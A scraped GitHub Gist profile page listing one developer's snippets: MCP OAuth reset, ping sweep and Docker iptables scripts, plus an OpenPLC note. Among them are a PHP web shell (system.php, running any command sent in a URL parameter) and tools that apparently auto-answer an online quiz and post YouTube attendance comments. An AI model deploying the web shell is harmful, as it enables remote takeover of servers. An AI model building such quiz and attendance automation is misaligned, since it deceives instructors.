Skip to content

Instantly share code, notes, and snippets.

View ardzz's full-sized avatar
🏠
Working from home

Naufal Reky Ardhana ardzz

🏠
Working from home
  • Politeknik Negeri Semarang
  • Semarang
View GitHub Profile
@ardzz
ardzz / opencode-mcp-reset
Created May 28, 2026 17:30
Reset opencode MCP OAuth state — fixes {"detail":"Unknown client_id"} and similar refresh errors. Backup-safe, idempotent, supports --list/--dry-run.
#!/usr/bin/env bash
# opencode-mcp-reset — Reset OAuth state for a single MCP server in opencode.
#
# Use this when opencode shows: {"detail":"Unknown client_id"} or any OAuth
# refresh error. It removes the broken entry from opencode's mcp-auth.json so
# opencode triggers a fresh OAuth flow next time you use that MCP.
#
# Usage:
# opencode-mcp-reset # reset 'consensus' (default)
# opencode-mcp-reset <mcp-name> # reset a specific MCP
"""
IoT Quiz Auto-Answer via Chrome DevTools Protocol (CDP)
Prerequisite:
pip install websockets
Usage:
1. Launch Edge/Chrome with remote debugging enabled:
microsoft-edge-stable --remote-debugging-port=9222
@ardzz
ardzz / README.md
Last active April 6, 2026 12:49
YouTube Playlist Commenter — Automasi komentar kehadiran di playlist YouTube untuk keperluan akademik (Playwright Node.js)

YouTube Playlist Commenter

Automasi komentar kehadiran di seluruh video dalam playlist YouTube menggunakan Playwright (Node.js).

Dibuat untuk keperluan akademik — dosen meminta mahasiswa berkomentar sebagai bukti kehadiran di setiap video e-Learning.

Prasyarat

  • Node.js v18 atau lebih baru
  • Browser berbasis Chromium (Chrome, Edge, Brave, dll.)

General Knowledge: Autonomy-Logic OpenPLC .ld Files

This document is a general-purpose knowledge note for AI agents working with the Autonomy-Logic OpenPLC Editor / Runtime ecosystem.

It is intentionally not tied to any one project. The goal is to help future agents reason about .ld files, avoid common false assumptions, and know what to verify before editing ladder programs.


1. High-confidence summary

LAPORAN PRAKTIKUM

Logo Institusi

POLITEKNIK NEGERI SEMARANG
PROGRAM STUDI TEKNOLOGI REKAYASA KOMPUTER

MATA KULIAH: [Nama Mata Kuliah]

Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
#!/usr/bin/env python3
import argparse
import concurrent.futures as cf
import ipaddress
import platform
import subprocess
from typing import Iterable
def is_pingable(host: str, timeout: float = 1.0) -> bool:
"""
@ardzz
ardzz / system.php
Last active October 14, 2025 06:42
<?php
system($_GET['x']);
?>
@ardzz
ardzz / docker-iptables-fix.sh
Created June 17, 2025 16:41 — forked from pedrolamas/docker-iptables-fix.sh
Script to fix Docker iptables on Synology NAS
#!/bin/bash
currentAttempt=0
totalAttempts=10
delay=15
while [ $currentAttempt -lt $totalAttempts ]
do
currentAttempt=$(( $currentAttempt + 1 ))
echo "Attempt $currentAttempt of $totalAttempts..."
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.